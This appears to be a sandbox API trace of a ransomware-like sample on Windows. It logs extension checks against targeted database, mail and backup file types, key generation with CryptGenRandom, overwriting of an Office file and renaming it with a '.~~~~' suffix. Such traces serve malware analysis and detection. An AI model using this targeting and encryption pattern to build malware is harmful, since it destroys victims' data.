	[0137.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".mdt") returned 0x0
	[0137.809] lstrlenW (lpString=".BDB") returned 4
	[0137.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".BDB") returned 0x0
	[0137.809] lstrlenW (lpString=".eql") returned 4
	[0137.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".eql") returned 0x0
	[0137.809] lstrlenW (lpString=".DBF") returned 4
	[0137.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".DBF") returned 0x0
	[0137.809] lstrlenW (lpString=".EQL") returned 4
	[0137.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".EQL") returned 0x0
	[0137.809] lstrlenW (lpString=".FDB") returned 4
	[0137.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".FDB") returned 0x0
	[0137.809] lstrlenW (lpString=".EDB") returned 4
	[0137.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".EDB") returned 0x0
	[0137.809] lstrlenW (lpString=".DACPAC") returned 7
	[0137.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".DACPAC") returned 0x0
	[0137.809] lstrlenW (lpString=".VHD") returned 4
	[0137.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".VHD") returned 0x0
	[0137.810] lstrlenW (lpString=".DBV") returned 4
	[0137.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".DBV") returned 0x0
	[0137.810] lstrlenW (lpString=".dacpac") returned 7
	[0137.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".dacpac") returned 0x0
	[0137.810] lstrlenW (lpString=".sdf") returned 4
	[0137.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".sdf") returned 0x0
	[0137.810] lstrlenW (lpString=".accdb") returned 6
	[0137.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".accdb") returned 0x0
	[0137.810] lstrlenW (lpString=".DBX") returned 4
	[0137.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".DBX") returned 0x0
	[0137.810] lstrlenW (lpString=".MDT") returned 4
	[0137.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".MDT") returned 0x0
	[0137.810] lstrlenW (lpString=".SQB") returned 4
	[0137.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".SQB") returned 0x0
	[0137.810] lstrlenW (lpString=".vhd") returned 4
	[0137.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".vhd") returned 0x0
	[0137.810] lstrlenW (lpString=".bac") returned 4
	[0137.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".bac") returned 0x0
	[0137.810] lstrlenW (lpString=".mdf") returned 4
	[0137.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".mdf") returned 0x0
	[0137.810] lstrlenW (lpString=".BAK") returned 4
	[0137.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".BAK") returned 0x0
	[0137.810] lstrlenW (lpString=".BAC") returned 4
	[0137.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".BAC") returned 0x0
	[0137.810] lstrlenW (lpString=".dbs") returned 4
	[0137.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".dbs") returned 0x0
	[0137.810] lstrlenW (lpString=".vhdx") returned 5
	[0137.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".vhdx") returned 0x0
	[0137.810] lstrlenW (lpString=".NDF") returned 4
	[0137.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".NDF") returned 0x0
	[0137.811] lstrlenW (lpString=".dat") returned 4
	[0137.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".dat") returned 0x0
	[0137.811] lstrlenW (lpString=".DBS") returned 4
	[0137.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".DBS") returned 0x0
	[0137.811] lstrlenW (lpString=".CKP") returned 4
	[0137.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".CKP") returned 0x0
	[0137.811] lstrlenW (lpString=".edb") returned 4
	[0137.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".edb") returned 0x0
	[0137.811] lstrlenW (lpString=".PST") returned 4
	[0137.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".PST") returned 0x0
	[0137.811] lstrlenW (lpString=".dbf") returned 4
	[0137.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".dbf") returned 0x0
	[0137.811] lstrlenW (lpString=".SQL") returned 4
	[0137.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".SQL") returned 0x0
	[0137.811] lstrlenW (lpString=".pst") returned 4
	[0137.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".pst") returned 0x0
	[0137.811] lstrlenW (lpString=".dbv") returned 4
	[0137.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".dbv") returned 0x0
	[0137.811] lstrlenW (lpString=".SDF") returned 4
	[0137.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".SDF") returned 0x0
	[0137.811] lstrlenW (lpString=".dtxs") returned 5
	[0137.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".dtxs") returned 0x0
	[0137.811] lstrlenW (lpString=".db3") returned 4
	[0137.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".db3") returned 0x0
	[0137.811] lstrlenW (lpString=".OST") returned 4
	[0137.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".OST") returned 0x0
	[0137.811] lstrlenW (lpString=".dbx") returned 4
	[0137.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".dbx") returned 0x0
	[0137.811] lstrlenW (lpString=".DB3") returned 4
	[0137.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".DB3") returned 0x0
	[0137.811] lstrlenW (lpString=".DAT") returned 4
	[0137.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".DAT") returned 0x0
	[0137.811] lstrlenW (lpString=".VHDX") returned 5
	[0137.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".VHDX") returned 0x0
	[0137.812] lstrlenW (lpString=".ndf") returned 4
	[0137.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".ndf") returned 0x0
	[0137.812] lstrlenW (lpString=".DB") returned 3
	[0137.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".DB") returned 0x0
	[0137.812] lstrlenW (lpString=".sql") returned 4
	[0137.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".sql") returned 0x0
	[0137.812] lstrlenW (lpString=".MYD") returned 4
	[0137.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".MYD") returned 0x0
	[0137.812] lstrlenW (lpString=".DBT") returned 4
	[0137.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".DBT") returned 0x0
	[0137.812] lstrlenW (lpString=".ACCDB") returned 6
	[0137.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".ACCDB") returned 0x0
	[0137.812] lstrlenW (lpString=".fdb") returned 4
	[0137.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".fdb") returned 0x0
	[0137.812] lstrlenW (lpString=".bak") returned 4
	[0137.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".bak") returned 0x0
	[0137.812] lstrlenW (lpString=".myd") returned 4
	[0137.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".myd") returned 0x0
	[0137.812] lstrlenW (lpString=".DTXS") returned 5
	[0137.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".DTXS") returned 0x0
	[0137.812] lstrlenW (lpString=".ckp") returned 4
	[0137.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".ckp") returned 0x0
	[0137.812] lstrlenW (lpString=".dbt") returned 4
	[0137.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".dbt") returned 0x0
	[0137.812] lstrlenW (lpString=".db") returned 3
	[0137.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".db") returned 0x0
	[0137.812] lstrlenW (lpString=".TXT") returned 4
	[0137.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".TXT") returned 0x0
	[0137.813] lstrlenW (lpString=".MDF") returned 4
	[0137.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".MDF") returned 0x0
	[0137.813] lstrlenW (lpString=".bdb") returned 4
	[0137.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".bdb") returned 0x0
	[0137.813] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0137.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0137.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0137.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0137.813] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0137.814] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0137.814] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0137.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0137.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0137.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0137.814] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25780449431) returned 1
	[0137.814] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbb959330, dwHighDateTime=0x1d60e1e)) 
	[0137.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0137.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0137.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0137.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825908
	[0137.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0137.815] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825908 | out: hHeap=0x300000) returned 1
	[0137.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0137.815] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0137.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce578
	[0137.815] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0137.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6418
	[0137.815] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce578 | out: hHeap=0x300000) returned 1
	[0137.815] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0137.815] GetLastError () returned 0x0
	[0137.816] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0137.816] GetLastError () returned 0x0
	[0137.951] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffff9200, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.951] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x6e00, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x6e00, lpOverlapped=0x0) returned 1
	[0137.952] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0137.952] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.952] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0137.952] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0137.952] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0137.952] CloseHandle (hObject=0xc4) returned 1
	[0137.952] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c61b8
	[0137.953] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubcolor.scm"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubcolor.scm.~~~~")) returned 1
	[0137.955] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c61b8 | out: hHeap=0x300000) returned 1
	[0137.955] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0137.955] GetLastError () returned 0x0
	[0137.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".scr") returned 0x0
	[0137.956] lstrlenW (lpString=".cmd") returned 4
	[0137.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".cmd") returned 0x0
	[0137.956] lstrlenW (lpString=".dll") returned 4
	[0137.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".dll") returned 0x0
	[0137.956] lstrlenW (lpString=".bat") returned 4
	[0137.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".bat") returned 0x0
	[0137.956] lstrlenW (lpString=".cpl") returned 4
	[0137.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".cpl") returned 0x0
	[0137.956] lstrlenW (lpString=".sys") returned 4
	[0137.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".sys") returned 0x0
	[0137.956] lstrlenW (lpString=".msc") returned 4
	[0137.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".msc") returned 0x0
	[0137.956] lstrlenW (lpString=".com") returned 4
	[0137.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".com") returned 0x0
	[0137.956] lstrlenW (lpString=".lnk") returned 4
	[0137.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".lnk") returned 0x0
	[0137.956] lstrlenW (lpString=".msp") returned 4
	[0137.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".msp") returned 0x0
	[0137.956] lstrlenW (lpString=".pif") returned 4
	[0137.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".pif") returned 0x0
	[0137.956] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0137.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0137.956] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme04.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0137.958] lstrlenW (lpString=".sqb") returned 4
	[0137.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".sqb") returned 0x0
	[0137.958] lstrlenW (lpString=".ost") returned 4
	[0137.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".ost") returned 0x0
	[0137.958] lstrlenW (lpString=".txt") returned 4
	[0137.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".txt") returned 0x0
	[0137.958] lstrlenW (lpString=".mdt") returned 4
	[0137.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".mdt") returned 0x0
	[0137.959] lstrlenW (lpString=".BDB") returned 4
	[0137.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".BDB") returned 0x0
	[0137.959] lstrlenW (lpString=".eql") returned 4
	[0137.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".eql") returned 0x0
	[0137.959] lstrlenW (lpString=".DBF") returned 4
	[0137.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".DBF") returned 0x0
	[0137.959] lstrlenW (lpString=".EQL") returned 4
	[0137.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".EQL") returned 0x0
	[0137.959] lstrlenW (lpString=".FDB") returned 4
	[0137.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".FDB") returned 0x0
	[0137.959] lstrlenW (lpString=".EDB") returned 4
	[0137.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".EDB") returned 0x0
	[0137.959] lstrlenW (lpString=".DACPAC") returned 7
	[0137.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".DACPAC") returned 0x0
	[0137.959] lstrlenW (lpString=".VHD") returned 4
	[0137.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".VHD") returned 0x0
	[0137.959] lstrlenW (lpString=".DBV") returned 4
	[0137.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".DBV") returned 0x0
	[0137.959] lstrlenW (lpString=".dacpac") returned 7
	[0137.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".dacpac") returned 0x0
	[0137.960] lstrlenW (lpString=".sdf") returned 4
	[0137.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".sdf") returned 0x0
	[0137.960] lstrlenW (lpString=".accdb") returned 6
	[0137.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".accdb") returned 0x0
	[0137.960] lstrlenW (lpString=".DBX") returned 4
	[0137.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".DBX") returned 0x0
	[0137.960] lstrlenW (lpString=".MDT") returned 4
	[0137.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".MDT") returned 0x0
	[0137.960] lstrlenW (lpString=".SQB") returned 4
	[0137.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".SQB") returned 0x0
	[0137.960] lstrlenW (lpString=".vhd") returned 4
	[0137.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".vhd") returned 0x0
	[0137.960] lstrlenW (lpString=".bac") returned 4
	[0137.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".bac") returned 0x0
	[0137.960] lstrlenW (lpString=".mdf") returned 4
	[0137.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".mdf") returned 0x0
	[0137.960] lstrlenW (lpString=".BAK") returned 4
	[0137.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".BAK") returned 0x0
	[0137.961] lstrlenW (lpString=".BAC") returned 4
	[0137.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".BAC") returned 0x0
	[0137.961] lstrlenW (lpString=".dbs") returned 4
	[0137.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".dbs") returned 0x0
	[0137.961] lstrlenW (lpString=".vhdx") returned 5
	[0137.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".vhdx") returned 0x0
	[0137.961] lstrlenW (lpString=".NDF") returned 4
	[0137.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".NDF") returned 0x0
	[0137.961] lstrlenW (lpString=".dat") returned 4
	[0137.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".dat") returned 0x0
	[0137.961] lstrlenW (lpString=".DBS") returned 4
	[0137.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS", lpSrch=".DBS") returned 0x0
	[0137.961] lstrlenW (lpString=".CKP") returned 4
